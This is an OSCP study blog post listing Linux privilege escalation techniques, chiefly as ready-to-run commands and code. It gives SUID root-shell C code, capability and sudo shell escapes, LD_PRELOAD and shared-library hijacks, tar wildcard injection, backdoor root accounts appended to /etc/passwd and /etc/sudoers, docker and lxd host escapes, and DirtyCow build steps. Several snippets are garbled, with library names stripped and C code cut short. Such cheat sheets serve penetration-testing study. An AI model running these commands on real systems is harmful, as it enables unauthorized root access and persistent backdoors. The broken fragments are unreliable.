Linux Privilege Escalation all in one

OSCP Study materialLinux privilege escalation

In this blog, we will discuss detailed commands to escalate the privileges and find the user access to the files and folders.

Scheduled tasks

Cron jobs

Check if you have access to write permission on these files.
Check inside the file, to find other paths with write permissions.


crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*

You can use pspy to detect a CRON job.

# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000 

Systemd timers

systemctl list-timers --all
NEXT                          LEFT     LAST                          PASSED             UNIT                         ACTIVATES
Mon 2019-04-01 02:59:14 CEST  15h left Sun 2019-03-31 10:52:49 CEST  24min ago          apt-daily.timer              apt-daily.service
Mon 2019-04-01 06:20:40 CEST  19h left Sun 2019-03-31 10:52:49 CEST  24min ago          apt-daily-upgrade.timer      apt-daily-upgrade.service
Mon 2019-04-01 07:36:10 CEST  20h left Sat 2019-03-09 14:28:25 CET   3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

3 timers listed.


SUID/Setuid stands for “set user ID upon execution”, it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is root, the uid will be changed to root even if it was executed from user bob. SUID bit is represented by an s.

╭─swissky@lab ~  
╰─$ ls /usr/bin/sudo -alh                  
-rwsr-xr-x 1 root root 138K 23 nov.  16:04 /usr/bin/sudo

Find SUID binaries

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null

Create a SUID binary

print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c   
gcc -o /tmp/suid /tmp/suid.c  
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit


List capabilities of binaries

╭─swissky@lab ~  
╰─$ /usr/bin/getcap -r  /usr/bin
/usr/bin/fping                = cap_net_raw+ep
/usr/bin/dumpcap              = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin               = cap_net_bind_service+ep
/usr/bin/ping                 = cap_net_raw+ep
/usr/bin/rsh                  = cap_net_bind_service+ep
/usr/bin/rcp                  = cap_net_bind_service+ep

Edit capabilities

/usr/bin/setcap -r /bin/ping            # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add

Interesting capabilities

Having the capability =ep means the binary has all the capabilities.

$ getcap openssl /usr/bin/openssl 

Alternatively, the following capabilities can be used in order to upgrade your current privileges.

cap_dac_read_search # read anything
cap_setuid+ep # setuid

Example of privilege escalation with cap_setuid+ep

$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7

$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)


Tool: Sudo Exploitation


Sudo configuration might allow a user to execute some command with additional user privileges without knowing the password.

$ sudo -l

User demo may run the following commands on crashlab:
    (root) NOPASSWD: /usr/bin/vim

In this example the user demo can run vim as root, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh.

sudo vim -c '!sh'
sudo -u root vim -c '!sh'


If LD_PRELOAD is explicitly defined in the sudoers file

Defaults        env_keep += LD_PRELOAD

Compile the following C code with gcc -fPIC -shared -o shell.c -nostartfiles

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {

Execute any binary with the LD_PRELOAD to spawn a shell : sudo LD_PRELOAD=/tmp/ find


There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its configuration at /etc/doas.conf

permit nopass demo as root cmd vim



$ sudo whatever
[sudo] password for user:    
# Press <ctrl>+c since you don't have the password. 
# This creates an invalid sudo tokens.
$ sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)

Slides of the presentation:


GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’


By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy.

# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" >

# vulnerable script
tar cf archive.tar *

Tool: wildpwn

Writable files

List world-writable files on the system.

find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

Writable /etc/passwd

First, generate a password with one of the following commands.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Then add the user hacker and add the generated password.


E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

You can now use the su command with hacker:hacker

Alternatively, you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTE: In BSD platforms /etc/passwd is located at /etc/pwd.db and /etc/master.passwd, also the /etc/shadow is renamed to /etc/spwd.db.

Writable /etc/sudoers

echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers

# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers

NFS Root Squashing

When no_root_squash appears in /etc/exports, the folder is shareable and a remote user can mount it

# create dir
mkdir /tmp/nfsdir  

# mount directory 
mount -t nfs /tmp/nfsdir 
cd /tmp/nfsdir

# copy wanted shell 
cp /bin/bash . 	

# set suid permission
chmod +s bash 	

Shared Library


Identify shared libraries with ldd

$ ldd /opt/binary (0x00007ffe961cd000) => /usr/lib/ (0x00007fa55e55a000)
    /lib64/ => /usr/lib64/ (0x00007fa55e6c8000)        

Create a library in /tmp and activate the path.

gcc –Wall –fPIC –shared –o /tmp/vulnlib.c
echo "/tmp/" > /etc/ && ldconfig -l /tmp/


level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: []
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15 =>  (0x0068c000) => /lib/i386-linux-gnu/ (0x00110000)
 /lib/ (0x005bb000)

By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/ /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15 =>  (0x005b0000) => /var/tmp/flag15/ (0x00110000)
 /lib/ (0x00737000)

Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o

#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());



Mount the filesystem in a bash container, allowing you to edit the /etc/passwd as root, then add a backdoor account toor:password.

$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

Almost similar but you will also see all processes running on the host and be connected to the same NICs.

docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash

Or use the following docker image from chrisfosterelli to spawn a root shell

$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete 
354c3661655e: Pull complete 
91930878a2d7: Pull complete 
a3ed95caeb02: Pull complete 
489b110c54dc: Pull complete 
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell

sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)

More docker privilege escalation using the Docker Socket.

sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh


The privesc requires to run a container with elevated privileges and mount the host filesystem inside.

╭─swissky@lab ~  
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

# build a simple alpine image
git clone
./build-alpine -a i686

# import the image
lxc image import ./alpine.tar.gz --alias myimage

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh


Kernel Exploits

Precompiled exploits can be found inside these repositories, run them at your own risk!

The following exploits are known to work well, search for another exploit using

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation – Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

CVE-2010-3904 (RDS)

Linux RDS Exploit – Linux Kernel <= 2.6.36-rc8

CVE-2010-4258 (Full Nelson)

Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)

CVE-2012-0056 (Mempodipper)

Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)


Leave a Reply

Your email address will not be published. Required fields are marked *